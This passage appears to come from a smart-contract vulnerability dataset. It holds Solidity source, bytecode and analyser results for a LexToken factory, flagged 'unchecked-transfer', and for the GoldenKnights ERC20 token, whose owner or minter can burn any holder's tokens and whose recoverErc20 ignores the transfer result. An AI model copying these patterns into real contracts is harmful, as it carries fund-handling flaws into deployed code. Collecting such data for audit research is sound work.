bool _transferable
) payable public {
LexToken lex = LexToken(createClone(template));
lex.init(
_manager,
_resolver,
_decimals,
_managerSupply,
_saleRate,
_saleSupply,
_totalSupplyCap,
_details,
_name,
_symbol,
_forSale,
_transferable);
(bool success, ) = lexDAO.call{value: msg.value}("");
require(success, "!ethCall");
IERC20(lexDAOtoken).transfer(msg.sender, userReward);
emit LaunchLexToken(address(lex), _manager, _resolver, _saleRate, _forSale);
}
function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external {
require(msg.sender == lexDAO, "!lexDAO");
lexDAO = _lexDAO;
lexDAOtoken = _lexDAOtoken;
userReward = _userReward;
details = _details;
emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details);
}
} | 0x6080604052600436106100705760003560e01c80636f2ddd931161004e5780636f2ddd93146103265780638976263d1461033b578063a994ee2d146103d6578063e5a6c28f146103eb57610070565b8063417a1308146100755780634f411f7b1461026b578063565974d31461029c575b600080fd5b610269600480360361018081101561008c57600080fd5b6001600160a01b03823581169260208101359091169160ff6040830135169160608101359160808201359160a08101359160c08201359190810190610100810160e0820135600160201b8111156100e257600080fd5b8201836020820111156100f457600080fd5b803590602001918460018302840111600160201b8311171561011557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561016757600080fd5b82018360208201111561017957600080fd5b803590602001918460018302840111600160201b8311171561019a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101ec57600080fd5b8201836020820111156101fe57600080fd5b803590602001918460018302840111600160201b8311171561021f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505050803515159150602001351515610412565b005b34801561027757600080fd5b506102806107c3565b604080516001600160a01b039092168252519081900360200190f35b3480156102a857600080fd5b506102b16107d2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102eb5781810151838201526020016102d3565b50505050905090810190601f1680156103185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033257600080fd5b50610280610860565b34801561034757600080fd5b506102696004803603608081101561035e57600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561039857600080fd5b8201836020820111156103aa57600080fd5b803590602001918460018302840111600160201b831117156103cb57600080fd5b509092509050610884565b3480156103e257600080fd5b50610280610992565b3480156103f757600080fd5b506104006109a1565b60408051918252519081900360200190f35b600061043d7f000000000000000000000000b06f4541ff8286a21a5927eac3c504154c2f6def6109a7565b9050806001600160a01b0316631850f7668e8e8e8e8e8e8e8e8e8e8e8e6040518d63ffffffff1660e01b8152600401808d6001600160a01b031681526020018c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b838110156104fd5781810151838201526020016104e5565b50505050905090810190601f16801561052a5780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b8381101561055d578181015183820152602001610545565b50505050905090810190601f16801561058a5780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b838110156105bd5781810151838201526020016105a5565b50505050905090810190601f1680156105ea5780820380516001836020036101000a031916815260200191505b509f50505050505050505050505050505050600060405180830381600087803b15801561061657600080fd5b505af115801561062a573d6000803e3d6000fd5b5050600080546040519193506001600160a01b0316915034908381818185875af1925050503d806000811461067b576040519150601f19603f3d011682016040523d82523d6000602084013e610680565b606091505b50509050806106c1576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561071857600080fd5b505af115801561072c573d6000803e3d6000fd5b505050506040513d602081101561074257600080fd5b8101908080519060200190929190505050508c6001600160a01b03168e6001600160a01b0316836001600160a01b03167f8663caf4d99644a7b67a43c517f166f535c34e993e08c20e4900f7e4521b27598d886040518083815260200182151581526020019250505060405180910390a45050505050505050505050505050565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108585780601f1061082d57610100808354040283529160200191610858565b820191906000526020600020905b81548152906001019060200180831161083b57829003601f168201915b505050505081565b7f000000000000000000000000b06f4541ff8286a21a5927eac3c504154c2f6def81565b6000546001600160a01b031633146108cd576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038088166001600160a01b0319928316179092556001805492871692909116919091179055600283905561090e600383836109f9565b50836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a5985858560405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a35050505050565b6001546001600160a01b031681565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610a2f5760008555610a75565b82601f10610a485782800160ff19823516178555610a75565b82800160010185558215610a75579182015b82811115610a75578235825591602001919060010190610a5a565b50610a81929150610a85565b5090565b5b80821115610a815760008155600101610a8656fea26469706673582212202cee7d25919f2daae9ff57c279b1287fc3b9d2122cf478e040fabb3732b2916d64736f6c63430007040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 9,690 |
0x9cf8424389e922d09d252714d61108b1378aaf0b | pragma solidity 0.5.6;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public delegate;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "You must be owner.");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Invalid new owner address.");
delegate = newOwner;
}
function confirmChangeOwnership() public {
require(msg.sender == delegate, "You must be delegate.");
emit OwnershipTransferred(owner, delegate);
owner = delegate;
delegate = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplying uint256 overflow.");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "Dividing by zero is not allowed.");
uint256 c = a / b;
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Negative uint256 is now allowed.");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Adding uint256 overflow.");
return c;
}
}
contract TransferFilter is Ownable {
bool public isTransferable;
mapping( address => bool ) internal mapAddressPass;
mapping( address => bool ) internal mapAddressBlock;
event LogSetTransferable(bool transferable);
event LogFilterPass(address indexed target, bool status);
event LogFilterBlock(address indexed target, bool status);
// if Token transfer
modifier checkTokenTransfer(address source) {
if (isTransferable) {
require(!mapAddressBlock[source], "Source address is in block filter.");
}
else {
require(mapAddressPass[source], "Source address must be in pass filter.");
}
_;
}
constructor() public {
isTransferable = true;
}
function setTransferable(bool transferable) external onlyOwner {
isTransferable = transferable;
emit LogSetTransferable(transferable);
}
function isInPassFilter(address user) external view returns (bool) {
return mapAddressPass[user];
}
function isInBlockFilter(address user) external view returns (bool) {
return mapAddressBlock[user];
}
function addressToPass(address[] calldata target, bool status)
external
onlyOwner
{
for( uint i = 0 ; i < target.length ; i++ ) {
address targetAddress = target[i];
bool old = mapAddressPass[targetAddress];
if (old != status) {
if (status) {
mapAddressPass[targetAddress] = true;
emit LogFilterPass(targetAddress, true);
}
else {
delete mapAddressPass[targetAddress];
emit LogFilterPass(targetAddress, false);
}
}
}
}
function addressToBlock(address[] calldata target, bool status)
external
onlyOwner
{
for( uint i = 0 ; i < target.length ; i++ ) {
address targetAddress = target[i];
bool old = mapAddressBlock[targetAddress];
if (old != status) {
if (status) {
mapAddressBlock[targetAddress] = true;
emit LogFilterBlock(targetAddress, true);
}
else {
delete mapAddressBlock[targetAddress];
emit LogFilterBlock(targetAddress, false);
}
}
}
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, TransferFilter {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
modifier onlyPayloadSize(uint8 param) {
// Check payload size to prevent short address attack.
// Payload size must be longer than sum of methodID length and size of parameters.
require(msg.data.length >= param * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value)
onlyPayloadSize(2) // number of parameters
checkTokenTransfer(msg.sender)
public returns (bool) {
require(_to != address(0), "Invalid destination address.");
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value)
onlyPayloadSize(3) // number of parameters
checkTokenTransfer(_from)
public returns (bool) {
require(_from != address(0), "Invalid source address.");
require(_to != address(0), "Invalid destination address.");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
uint256 _allowedValue = allowed[_from][msg.sender].sub(_value);
allowed[_from][msg.sender] = _allowedValue;
emit Transfer(_from, _to, _value);
emit Approval(_from, msg.sender, _allowedValue);
return true;
}
function approve(address _spender, uint256 _value)
onlyPayloadSize(2) // number of parameters
checkTokenTransfer(msg.sender)
public returns (bool) {
require(_spender != address(0), "Invalid spender address.");
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0), "Already approved.");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken {
event MinterTransferred(address indexed previousMinter, address indexed newMinter);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Burn(address indexed from, uint256 value);
bool public mintingFinished = false;
address public minter;
constructor() public {
minter = msg.sender;
emit MinterTransferred(address(0), minter);
}
modifier canMint() {
require(!mintingFinished, "Minting is already finished.");
_;
}
modifier hasPermission() {
require(msg.sender == owner || msg.sender == minter, "You must be either owner or minter.");
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) canMint hasPermission external returns (bool) {
require(_to != address(0), "Invalid destination address.");
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() canMint onlyOwner external returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function transferMinter(address newMinter) public onlyOwner {
require(newMinter != address(0), "Invalid new minter address.");
address prevMinter = minter;
minter = newMinter;
emit MinterTransferred(prevMinter, minter);
}
function burn(address _from, uint256 _amount) external hasPermission {
require(_from != address(0), "Invalid source address.");
balances[_from] = balances[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount);
emit Transfer(_from, address(0), _amount);
emit Burn(_from, _amount);
}
function recoverErc20(address tokenAddress, uint256 tokenAmount, address recipient) public onlyOwner {
ERC20(tokenAddress).transfer(recipient, tokenAmount);
}
}
contract GoldenKnights is MintableToken {
string public constant name = "GoldenKnights"; // solium-disable-line uppercase
string public constant symbol = "GOLA"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
/**
* @dev Constructor that initialize token.
*/
constructor() public {
//totalSupply = 0;
}
} | 0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638da5cb5b116100de578063afbdaa0511610097578063dd62ed3e11610071578063dd62ed3e146108dd578063e602af0614610955578063f2fde38b1461095f578063fe99ad5a146109a35761018e565b8063afbdaa05146107b2578063b57874ce1461080e578063c89e4361146108935761018e565b80638da5cb5b1461057c57806394b44f3e146105c657806395d89b411461064b5780639cd23707146106ce5780639dc29fac146106fe578063a9059cbb1461074c5761018e565b806323b872dd1161014b578063483b1a7611610125578063483b1a761461043857806370a08231146104945780637d64bcb4146104ec578063819bea4b1461050e5761018e565b806323b872dd14610328578063313ce567146103ae57806340c10f19146103d25761018e565b806305d2035b1461019357806306fdde03146101b55780630754617214610238578063095ea7b31461028257806318160ddd146102e85780632121dc7514610306575b600080fd5b61019b6109e7565b604051808215151515815260200191505060405180910390f35b6101bd6109fa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fd5780820151818401526020810190506101e2565b50505050905090810190601f16801561022a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610240610a33565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102ce6004803603604081101561029857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a59565b604051808215151515815260200191505060405180910390f35b6102f0610e6a565b6040518082815260200191505060405180910390f35b61030e610e70565b604051808215151515815260200191505060405180910390f35b6103946004803603606081101561033e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e83565b604051808215151515815260200191505060405180910390f35b6103b661145e565b604051808260ff1660ff16815260200191505060405180910390f35b61041e600480360360408110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611463565b604051808215151515815260200191505060405180910390f35b61047a6004803603602081101561044e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117f7565b604051808215151515815260200191505060405180910390f35b6104d6600480360360208110156104aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061184d565b6040518082815260200191505060405180910390f35b6104f4611896565b604051808215151515815260200191505060405180910390f35b61057a6004803603606081101561052457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a2c565b005b610584611bb7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610649600480360360408110156105dc57600080fd5b81019080803590602001906401000000008111156105f957600080fd5b82018360208201111561060b57600080fd5b8035906020019184602083028401116401000000008311171561062d57600080fd5b9091929391929390803515159060200190929190505050611bdd565b005b610653611ea9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610693578082015181840152602081019050610678565b50505050905090810190601f1680156106c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106fc600480360360208110156106e457600080fd5b81019080803515159060200190929190505050611ee2565b005b61074a6004803603604081101561071457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ffd565b005b6107986004803603604081101561076257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612306565b604051808215151515815260200191505060405180910390f35b6107f4600480360360208110156107c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126c3565b604051808215151515815260200191505060405180910390f35b6108916004803603604081101561082457600080fd5b810190808035906020019064010000000081111561084157600080fd5b82018360208201111561085357600080fd5b8035906020019184602083028401116401000000008311171561087557600080fd5b9091929391929390803515159060200190929190505050612719565b005b61089b6129e5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61093f600480360360408110156108f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a0b565b6040518082815260200191505060405180910390f35b61095d612a92565b005b6109a16004803603602081101561097557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c9a565b005b6109e5600480360360208110156109b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e44565b005b600760009054906101000a900460ff1681565b6040518060400160405280600d81526020017f476f6c64656e4b6e69676874730000000000000000000000000000000000000081525081565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060026004602082020160ff1660003690501015610a7757600080fd5b33600260149054906101000a900460ff1615610b3557600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061319e6022913960400191505060405180910390fd5b610bd8565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131c06026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610c7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c6964207370656e64657220616464726573732e000000000000000081525060200191505060405180910390fd5b6000841480610d0657506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b610d78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f416c726561647920617070726f7665642e00000000000000000000000000000081525060200191505060405180910390fd5b83600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925866040518082815260200191505060405180910390a360019250505092915050565b60005481565b600260149054906101000a900460ff1681565b600060036004602082020160ff1660003690501015610ea157600080fd5b84600260149054906101000a900460ff1615610f5f57600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061319e6022913960400191505060405180910390fd5b611002565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611001576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131c06026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156110a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e76616c696420736f7572636520616464726573732e00000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61119a84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461309290919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061122f84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461311590919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061130385600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461309290919063ffffffff16565b905080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3600193505050509392505050565b601281565b6000600760009054906101000a900460ff16156114e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d696e74696e6720697320616c72656164792066696e69736865642e0000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115915750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6115e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131e66023913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61169e8260005461311590919063ffffffff16565b6000819055506116f682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461311590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600760009054906101000a900460ff161561191b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d696e74696e6720697320616c72656164792066696e69736865642e0000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b6001600760006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611aef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b7657600080fd5b505af1158015611b8a573d6000803e3d6000fd5b505050506040513d6020811015611ba057600080fd5b810190808051906020019092919050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ca0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b60008090505b83839050811015611ea3576000848483818110611cbf57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905083151581151514611e94578315611df0576001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fa09e978c90f25c2a977904ade347948ac4761e23cf07a17f87c8b77ef301e89c6001604051808215151515815260200191505060405180910390a2611e93565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558173ffffffffffffffffffffffffffffffffffffffff167fa09e978c90f25c2a977904ade347948ac4761e23cf07a17f87c8b77ef301e89c6000604051808215151515815260200191505060405180910390a25b5b50508080600101915050611ca6565b50505050565b6040518060400160405280600481526020017f474f4c410000000000000000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fa5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b80600260146101000a81548160ff0219169083151502179055507f4d49befdca73a4dc2f0a3a9ed2dd8ddd7a76d19758d7e27dbb88c5a576d6f92e81604051808215151515815260200191505060405180910390a150565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806120a65750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6120fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131e66023913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561219e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e76616c696420736f7572636520616464726573732e00000000000000000081525060200191505060405180910390fd5b6121f081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461309290919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122488160005461309290919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fcc